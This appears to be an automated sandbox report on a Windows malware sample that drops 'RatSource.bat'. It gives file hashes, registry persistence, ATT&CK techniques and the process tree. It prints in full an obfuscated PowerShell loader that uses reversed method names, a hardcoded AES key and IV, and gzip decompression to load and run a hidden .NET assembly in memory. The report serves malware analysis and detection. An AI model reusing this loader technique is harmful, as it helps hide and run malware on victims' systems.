0c46021aa8d5a1164ee93248ea12f42e05612006943fb9bf32d2d4fbd4a9dcbc

Resubmissions

05/12/2022, 11:07

221205-m8dftadb7410

02/12/2022, 19:36

221202-ya8pvabe6y10

Analysis

max time kernel
47s
max time network
51s
platform
windows7_x64
resource
win7-20220901-en
resource tags

arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
submitted
05/12/2022, 11:07

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General

Target
3656215897c0c1cff38accf2faa0fae4.exe
Size 6.0MB
Sample221205-m8dftadb74
SHA256 0c46021aa8d5a1164ee93248ea12f42e05612006943fb9bf32d2d4fbd4a9dcbc
MD5 3656215897c0c1cff38accf2faa0fae4
SHA1 74f0916372e0048a7e43bf0cdd023399ed6240d1
SHA512 54b0d2153fbc826f58f088265accdb9a3adc500c951040d4114bda2de4b9ee69c7c82b3dd4dd6da76b68311cf0594ec368c2e2611a067ffb194189a6c25fd84b
SSDEEP 98304:75Id/0maCgxIrbTxtccXQUP+MsbswAcZ0E8rEl3oa7jPXM8/NUVhOG4m7QoUatMV:VWQzxIvTxt1AUPh1ir3Z7jPXMQSVhOcM
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

persistence

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2044	RatSource.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
1188	cmd.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce	3656215897c0c1cff38accf2faa0fae4.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	3656215897c0c1cff38accf2faa0fae4.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2044	RatSource.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2044	RatSource.bat.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1416 wrote to memory of 1188	1416	3656215897c0c1cff38accf2faa0fae4.exe	27
PID 1416 wrote to memory of 1188	1416	3656215897c0c1cff38accf2faa0fae4.exe	27
PID 1416 wrote to memory of 1188	1416	3656215897c0c1cff38accf2faa0fae4.exe	27
PID 1188 wrote to memory of 2044	1188	cmd.exe	29
PID 1188 wrote to memory of 2044	1188	cmd.exe	29
PID 1188 wrote to memory of 2044	1188	cmd.exe	29

C:\Users\Admin\AppData\Local\Temp\3656215897c0c1cff38accf2faa0fae4.exe
"C:\Users\Admin\AppData\Local\Temp\3656215897c0c1cff38accf2faa0fae4.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1416
- C:\Windows\system32\cmd.exe
  cmd /c "RatSource.bat"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1188
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\RatSource.bat.exe
    "RatSource.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $xIULa = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\RatSource.bat').Split([Environment]::NewLine);foreach ($EDQLd in $xIULa) { if ($EDQLd.StartsWith(':: ')) { $Tsrbo = $EDQLd.Substring(3); break; }; };$iHSCc = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($Tsrbo);$iHzqZ = New-Object System.Security.Cryptography.AesManaged;$iHzqZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$iHzqZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$iHzqZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('37GhtDUBhUJKCQDSWGJVtMcidkwdpaJvQ7ajol1QBX0=');$iHzqZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('shTxxnZVVecYmjF/++9UcA==');$Ogghq = $iHzqZ.CreateDecryptor();$iHSCc = $Ogghq.TransformFinalBlock($iHSCc, 0, $iHSCc.Length);$Ogghq.Dispose();$iHzqZ.Dispose();$aRVpw = New-Object System.IO.MemoryStream(, $iHSCc);$PCOeg = New-Object System.IO.MemoryStream;$QfQDy = New-Object System.IO.Compression.GZipStream($aRVpw, [IO.Compression.CompressionMode]::Decompress);$QfQDy.CopyTo($PCOeg);$QfQDy.Dispose();$aRVpw.Dispose();$PCOeg.Dispose();$iHSCc = $PCOeg.ToArray();$bDHIt = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($iHSCc);$DiIpt = $bDHIt.EntryPoint;$DiIpt.Invoke($null, (, [string[]] ('')))
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2044

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

RatSource.bat

Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\RatSource.bat
Size 7.7MB
SHA256 b3446f4e892b440fb655139cc598d167e19dd73549af837afc163f34b9ffd750
MD5 4b288c0897495d9d495ed62d9221774f
SHA1 9a34a9ae9b603b74b383a73547a33ebac14386a0
SHA512 08603a33ac0251629ca1ad9078e24ae89ed70bce3ea4911a19613a78070202f56990ddb200373596dc096dcb1e22b0d0c9da6db278bb4109ffe5c720c4329f7b
SSDEEP 49152:BttqgKCbSQS8AbMu36SW+XBRDfPqXqdZpYqV+0dtsF+engu65FcGamklIb66XUnn:B
MD5 SHA1 SHA512 SSDEEP

Submit Download

RatSource.bat.exe

Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\RatSource.bat.exe
Size 462KB
SHA256 a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
MD5 852d67a27e454bd389fa7f02a8cbe23f
SHA1 5330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA512 327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d
SSDEEP 6144:dxGRyCXBgoDhzoNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:CRZgQhIKXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

RatSource.bat.exe

Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\RatSource.bat.exe
Size 462KB
SHA256 a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
MD5 852d67a27e454bd389fa7f02a8cbe23f
SHA1 5330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA512 327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d
SSDEEP 6144:dxGRyCXBgoDhzoNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:CRZgQhIKXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

RatSource.bat.exe

Path \Users\Admin\AppData\Local\Temp\IXP000.TMP\RatSource.bat.exe
Size 462KB
SHA256 a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
MD5 852d67a27e454bd389fa7f02a8cbe23f
SHA1 5330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA512 327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d
SSDEEP 6144:dxGRyCXBgoDhzoNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:CRZgQhIKXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1416-54-0x000007FEFB9E1000-0x000007FEFB9E3000-memory.dmp

Download

memory/2044-61-0x000007FEF4000000-0x000007FEF4A23000-memory.dmp

Download

memory/2044-62-0x000007FEF34A0000-0x000007FEF3FFD000-memory.dmp

Download

memory/2044-63-0x000000001B710000-0x000000001BA0F000-memory.dmp

Download

memory/2044-65-0x00000000025DB000-0x00000000025FA000-memory.dmp

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memory/2044-64-0x00000000025D4000-0x00000000025D7000-memory.dmp

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